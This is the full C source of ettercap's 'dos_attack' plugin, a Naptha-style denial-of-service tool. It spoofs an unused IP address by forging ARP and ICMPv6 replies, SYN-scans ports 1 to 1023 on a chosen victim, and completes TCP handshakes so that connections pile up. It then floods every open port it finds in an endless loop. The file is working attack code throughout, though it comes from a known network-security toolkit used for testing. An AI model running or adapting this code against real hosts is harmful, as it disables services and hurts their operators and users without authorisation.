1 /*
2     dos_attack -- ettercap plugin -- Run a D.O.S. attack (based on Naptha)
3 
4     Copyright (C) ALoR & NaGA
5 
6     This program is free software; you can redistribute it and/or modify
7     it under the terms of the GNU General Public License as published by
8     the Free Software Foundation; either version 2 of the License, or
9     (at your option) any later version.
10 
11     This program is distributed in the hope that it will be useful,
12     but WITHOUT ANY WARRANTY; without even the implied warranty of
13     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
14     GNU General Public License for more details.
15 
16     You should have received a copy of the GNU General Public License
17     along with this program; if not, write to the Free Software
18     Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
19 
20 */
21 
22 
23 #include <ec.h>                        /* required for global variables */
24 #include <ec_plugins.h>                /* required for plugin ops */
25 #include <ec_hook.h>
26 #include <ec_packet.h>
27 #include <ec_send.h>
28 #include <ec_threads.h>
29 #include <ec_sleep.h>
30 
31 /* protos */
32 int plugin_load(void *);
33 static int dos_attack_init(void *);
34 static int dos_attack_fini(void *);
35 static void parse_arp(struct packet_object *po);
36 
37 #ifdef WITH_IPV6
38 static void parse_icmp6(struct packet_object *po);
39 #endif
40 static void parse_tcp(struct packet_object *po);
41 EC_THREAD_FUNC(syn_flooder);
42 
43 struct port_list {
44    u_int16 port;
45    SLIST_ENTRY(port_list) next;
46 };
47 
48 
49 /* globals */
50 static struct ip_addr fake_host;
51 static struct ip_addr victim_host;
52 SLIST_HEAD(, port_list) port_table;
53 
54 /* plugin operations */
55 struct plugin_ops dos_attack_ops = {
56    /* ettercap version MUST be the global EC_VERSION */
57    .ettercap_version =  EC_VERSION,
58    /* the name of the plugin */
59    .name =              "dos_attack",
60     /* a short description of the plugin (max 50 chars) */
61    .info =              "Run a d.o.s. attack against an IP address",
62    /* the plugin version. */
63    .version =           "1.0",
64    /* activation function */
65    .init =              &dos_attack_init,
66    /* deactivation function */
67    .fini =              &dos_attack_fini,
68 };
69 
70 /**********************************************************/
71 
72 /* this function is called on plugin load */
plugin_load(void * handle)73 int plugin_load(void *handle)
74 {
75    return plugin_register(handle, &dos_attack_ops);
76 }
77 
78 /******************* STANDARD FUNCTIONS *******************/
79 
dos_attack_init(void * dummy)80 static int dos_attack_init(void *dummy)
81 {
82    char dos_addr[MAX_ASCII_ADDR_LEN];
83    char unused_addr[MAX_ASCII_ADDR_LEN];
84    struct port_list *p;
85 
86    /* variable not used */
87    (void) dummy;
88 
89    /* It doesn't work if unoffensive */
90    if (EC_GBL_OPTIONS->unoffensive) {
91       INSTANT_USER_MSG("dos_attack: plugin doesn't work in UNOFFENSIVE mode\n");
92       return PLUGIN_FINISHED;
93    }
94 
95    /* don't show packets while operating */
96    EC_GBL_OPTIONS->quiet = 1;
97 
98    memset(dos_addr, 0, sizeof(dos_addr));
99    memset(unused_addr, 0, sizeof(dos_addr));
100 
101    ui_input("Insert victim IP: ", dos_addr, sizeof(dos_addr), NULL);
102    if (ip_addr_pton(dos_addr, &victim_host) == -E_INVALID) {
103       INSTANT_USER_MSG("dos_attack: Invalid IP address.\n");
104       return PLUGIN_FINISHED;
105    }
106 
107    ui_input("Insert unused IP: ", unused_addr, sizeof(unused_addr), NULL);
108    if (ip_addr_pton(unused_addr, &fake_host) == -E_INVALID) {
109       INSTANT_USER_MSG("dos_attack: Invalid IP address.\n");
110       return PLUGIN_FINISHED;
111    }
112 
113    if(victim_host.addr_type != fake_host.addr_type) {
114       INSTANT_USER_MSG("dos_attack: Address' families don't match.\n");
115       return PLUGIN_FINISHED;
116    }
117 
118    INSTANT_USER_MSG("dos_attack: Starting scan against %s [Fake Host: %s]\n", dos_addr, unused_addr);
119 
120    /* Delete the "open" port list just in case of previous executions */
121    while (!SLIST_EMPTY(&port_table)) {
122       p = SLIST_FIRST(&port_table);
123       SLIST_REMOVE_HEAD(&port_table, next);
124       SAFE_FREE(p);
125    }
126 
127    /* Add the hook to "create" the fake host */
128    if(ntohs(fake_host.addr_type) == AF_INET)
129       hook_add(HOOK_PACKET_ARP_RQ, &parse_arp);
130 #ifdef WITH_IPV6
131    else if(ntohs(fake_host.addr_type) == AF_INET6)
132       hook_add(HOOK_PACKET_ICMP6_NSOL, &parse_icmp6);
133 #endif
134 
135    /* Add the hook for SYN-ACK reply */
136    hook_add(HOOK_PACKET_TCP, &parse_tcp);
137 
138    /* create the flooding thread */
139    ec_thread_new("golem", "SYN flooder thread", &syn_flooder, NULL);
140 
141    return PLUGIN_RUNNING;
142 }
143 
144 
dos_attack_fini(void * dummy)145 static int dos_attack_fini(void *dummy)
146 {
147    pthread_t pid;
148 
149    /* variable not used */
150    (void) dummy;
151 
152    /* Remove the hooks */
153    hook_del(HOOK_PACKET_ARP_RQ, &parse_arp);
154    hook_del(HOOK_PACKET_TCP, &parse_tcp);
155 
156    pid = ec_thread_getpid("golem");
157 
158    /* the thread is active or not ? */
159    if (!pthread_equal(pid, ec_thread_getpid(NULL)))
160       ec_thread_destroy(pid);
161 
162    INSTANT_USER_MSG("dos_attack: plugin terminated...\n");
163 
164    return PLUGIN_FINISHED;
165 }
166 
167 /*********************************************************/
168 
169 /*
170  * This thread first sends SYN packets to some ports (a little port scan)
171  * then starts to flood active ports with other SYN packets.
172  */
EC_THREAD_FUNC(syn_flooder)173 EC_THREAD_FUNC(syn_flooder)
174 {
175    u_int16 sport = 0xe77e, dport;
176    u_int32 seq = 0xabadc0de;
177    struct port_list *p;
178 
179    /* variable not used */
180    (void) EC_THREAD_PARAM;
181 
182    /* init the thread and wait for start up */
183    ec_thread_init();
184 
185    /* First "scan" ports from 1 to 1024 */
186    for (dport=1; dport<1024; dport++) {
187       send_tcp(&fake_host, &victim_host, sport++, htons(dport), seq++, 0, TH_SYN, NULL, 0);
188       ec_usleep(1000);
189    }
190 
191    INSTANT_USER_MSG("dos_attack: Starting attack...\n");
192 
193    /* Continue flooding open ports */
194    LOOP {
195       CANCELLATION_POINT();
196 
197       SLIST_FOREACH(p, &port_table, next)
198          send_tcp(&fake_host, &victim_host, sport++, p->port, seq++, 0, TH_SYN, NULL, 0);
199 
200       ec_usleep(1000);
201    }
202 
203    return NULL;
204 }
205 
206 /* Parse the arp packets and reply for the fake host */
parse_arp(struct packet_object * po)207 static void parse_arp(struct packet_object *po)
208 {
209    if (!ip_addr_cmp(&fake_host, &po->L3.dst))
210       send_arp(ARPOP_REPLY, &po->L3.dst, EC_GBL_IFACE->mac, &po->L3.src, po->L2.src);
211 }
212 
213 #ifdef WITH_IPV6
parse_icmp6(struct packet_object * po)214 static void parse_icmp6(struct packet_object *po)
215 {
216    struct ip_addr ip;
217    ip_addr_init(&ip, AF_INET6, po->L4.options);
218    if(!ip_addr_cmp(&fake_host, &ip))
219       send_L2_icmp6_nadv(&fake_host, &po->L3.src, EC_GBL_IFACE->mac, 0, po->L2.src);
220 }
221 #endif
222 
223 /*
224  * Populate the open port list and reply to
225  * SYN-ACK packets from victim host
226  */
parse_tcp(struct packet_object * po)227 static void parse_tcp(struct packet_object *po)
228 {
229    struct port_list *p;
230 
231    /* Check if it's a reply to our SYN flooding */
232    if (ip_addr_cmp(&fake_host, &po->L3.dst) ||
233        ip_addr_cmp(&victim_host, &po->L3.src) ||
234        po->L4.flags != (TH_SYN | TH_ACK))
235           return;
236 
237    /* Complete the handshake with an ACK */
238    send_tcp(&fake_host, &victim_host, po->L4.dst, po->L4.src, po->L4.ack, htonl( ntohl(po->L4.seq) + 1), TH_ACK, NULL, 0);
239 
240    /* Check if the port is already in the "open" list... */
241    SLIST_FOREACH(p, &port_table, next)
242       if (p->port == po->L4.src)
243          return;
244 
245    /* If not...put it in */
246    SAFE_CALLOC(p, 1, sizeof(struct port_list));
247    p->port = po->L4.src;
248    SLIST_INSERT_HEAD(&port_table, p, next);
249 
250    INSTANT_USER_MSG("dos_attack: Port %d added\n", ntohs(p->port));
251 }
252 
253 /* EOF */
254 
255 // vim:ts=3:expandtab
256 
257